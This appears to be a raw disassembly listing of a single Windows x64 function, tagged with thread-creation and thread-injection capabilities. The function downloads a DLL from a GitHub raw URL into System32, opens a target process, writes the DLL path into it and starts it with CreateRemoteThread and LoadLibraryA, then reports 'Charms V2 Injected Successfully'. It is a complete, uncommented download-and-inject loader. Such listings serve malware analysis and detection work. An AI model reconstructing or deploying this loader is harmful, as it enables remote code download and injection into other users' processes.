Function at 0x14004fa90
Capabilities:
Create thread
Inject thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
movaps xmmword [rax - 0x18], xmm6
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
mov ecx, 0x50
call fcn.1400b6940
mov rcx, rax
mov qword [rbp - 9], rax
movdqa xmm0, xmmword [0x1400d9100]
movdqu xmmword [rbp + 7], xmm0
movaps xmm0, xmmword [str.https:__raw.githubusercontent.com_xbest11_ddl1_main_SAM_X_XSBET.dll]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400d7f00]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400d7f10]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400d7f20]
movups xmmword [rax + 0x30], xmm1
movzx eax, word [0x1400d7f30]
mov word [rcx + 0x40], ax
movzx eax, byte [0x1400d7f32]
mov byte [rcx + 0x42], al
mov byte [rcx + 0x43], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov ecx, Ordinal_50
call fcn.1400b6940
mov rdx, rax
mov qword [rbp + 0x17], rax
movdqa xmm0, xmmword [reloc.WLDAP32.dll_Ordinal_35]
movdqu xmmword [rbp + 0x27], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32SAM_X_XSBET.dll]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400d7f48]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400d7f58]
mov word [rax + 0x20], cx
movzx eax, byte [0x1400d7f5a]
mov byte [rdx + 0x22], al
mov byte [rdx + 0x23], 0
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 9]
call fcn.14004b5c0
test al, al
jne 0x14004fc9e
movups xmm6, xmmword [0x140133b98]
lea rax, [rbp - 0x59]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
xor ebx, ebx
mov qword [rbp - 0x49], rbx
mov qword [rbp - 0x41], rbx
mov ecx, Ordinal_50
call fcn.1400b6940
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x49], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x41], Ordinal_50
movups xmm0, xmmword [str.Failed_to_download_the_DLL_file.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400d7dc0]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], ntohs
mov qword [rbp - 0x21], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400d7dd8]
movsd qword [rbp - 0x39], xmm0
mov eax, dword [0x1400d7de0]
mov dword [rbp - 0x31], eax
mov byte [rbp - 0x2d], bl
movdqa xmmword [rbp - 0x19], xmm6
lea r9, [rbp - 0x19]
lea r8, [rbp - 0x59]
lea rdx, [rbp - 0x39]
call fcn.140042770
nop
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0xf
jbe 0x14004fc59
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fc53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400501fc
call fcn.1400b6c8c
nop
mov rdx, qword [rbp + 0xf]
cmp rdx, 0xf
jbe 0x14004fc94
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fc8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005023b
call fcn.1400b6c8c
mov eax, 1
jmp 0x140050247
call fcn.14004b8b0
mov edi, eax
xor ebx, ebx
test eax, eax
jne 0x14004fd60
movups xmm6, xmmword [0x140133b98]
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400b6940
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x29], reloc.WLDAP32.dll_Ordinal_27
mov qword [rbp - 0x21], Ordinal_32
movups xmm0, xmmword [str.Failed_to_find_the_process.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d7df8]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x1400d7e00]
mov word [rax + 0x18], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x1a], cl
mov byte [rax + 0x1b], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], ntohs
mov qword [rbp - 0x41], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400d7dd8]
movsd qword [rbp - 0x59], xmm0
mov eax, dword [0x1400d7de0]
mov dword [rbp - 0x51], eax
mov byte [rbp - 0x4d], bl
movdqa xmmword [rbp - 0x19], xmm6
lea r9, [rbp - 0x19]
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x59]
call fcn.140042770
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x14004fe2f
movups xmm6, xmmword [0x140133b98]
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400b6940
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x29], reloc.WLDAP32.dll_Ordinal_27
mov qword [rbp - 0x21], Ordinal_32
movups xmm0, xmmword [str.Failed_to_open_the_process.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d7e18]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x1400d7e20]
mov word [rax + 0x18], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x1a], cl
mov byte [rax + 0x1b], dil
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], ntohs
mov qword [rbp - 0x41], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400d7dd8]
movsd qword [rbp - 0x59], xmm0
mov eax, dword [0x1400d7de0]
mov dword [rbp - 0x51], eax
mov byte [rbp - 0x4d], dil
movdqa xmmword [rbp - 0x19], xmm6
lea r9, [rbp - 0x19]
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x59]
call fcn.140042770
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, Ordinal_41
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x14004ff16
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x140133b98]
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], rbx
mov ecx, Ordinal_50
call fcn.1400b6940
mov qword [rbp - 0x39], rax
mov qword [rbp - reloc.WLDAP32.dll_Ordinal_41], 0x29
mov qword [rbp - 0x21], Ordinal_50
movups xmm0, xmmword [str.Failed_to_allocate_memory_in_the_process.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400d7e38]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400d7e48]
movsd qword [rax + 0x20], xmm0
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x28], cl
mov byte [rax + 0x29], sil
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], ntohs
mov qword [rbp - 0x41], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400d7dd8]
movsd qword [rbp - 0x59], xmm0
mov eax, dword [0x1400d7de0]
mov dword [rbp - 0x51], eax
mov byte [rbp - 0x4d], sil
movdqa xmmword [rbp - 0x19], xmm6
lea r9, [rbp - 0x19]
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x59]
call fcn.140042770
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_41
lea r8, str.C:WindowsSystem32SAM_X_XSBET.dll
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140050001
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x140133b98]
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], rbx
mov ecx, Ordinal_50
call fcn.1400b6940
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x29], Ordinal_35
mov qword [rbp - 0x21], Ordinal_50
movups xmm0, xmmword [str.Failed_to_write_to_process_memory.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400d7e68]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400d7e78]
mov word [rax + 0x20], cx
mov byte [rax + 0x22], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], ntohs
mov qword [rbp - 0x41], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400d7dd8]
movsd qword [rbp - 0x59], xmm0
mov eax, dword [0x1400d7de0]
mov dword [rbp - 0x51], eax
mov byte [rbp - 0x4d], 0
movdqa xmmword [rbp - 0x19], xmm6
lea r9, [rbp - 0x19]
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x59]
call fcn.140042770
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14005012d
lea rdx, str.Failed_to_create_remote_thread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140051c30
lea rdx, [0x140051e10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x140133b98]
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400b6940
mov rdx, rax
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x29], Ordinal_32
mov qword [rbp - 0x21], Ordinal_32
movups xmm0, xmmword [str.Failed_to_create_remote_thread.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d7eb0]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400d7eb8]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x1400d7ebc]
mov word [rax + 0x1c], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rdx + 0x1e], al
mov byte [rdx + 0x1f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], ntohs
mov qword [rbp - 0x41], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400d7dd8]
movsd qword [rbp - 0x59], xmm0
mov eax, dword [0x1400d7de0]
mov dword [rbp - 0x51], eax
mov byte [rbp - 0x4d], 0
movdqa xmmword [rbp - 0x19], xmm6
lea r9, [rbp - 0x19]
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x59]
call fcn.140042770
movups xmm6, xmmword [0x140133b98]
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], rbx
mov ecx, Ordinal_50
call fcn.1400b6940
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x29], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x21], Ordinal_50
movups xmm0, xmmword [str.Charms_V2_Injected_Successfully.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400d7f70]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], ntohs
mov qword [rbp - 0x41], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400d7dd8]
movsd qword [rbp - 0x59], xmm0
mov eax, dword [0x1400d7de0]
mov dword [rbp - 0x51], eax
mov byte [rbp - 0x4d], 0
movdqa xmmword [rbp - 0x19], xmm6
lea r9, [rbp - 0x19]
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x59]
call fcn.140042770
nop
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0xf
jbe 0x140050209
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050203
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050203
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b6c8c
nop
mov rdx, qword [rbp + 0xf]
cmp rdx, 0xf
jbe 0x140050247
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050242
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050242
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b6c8c
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret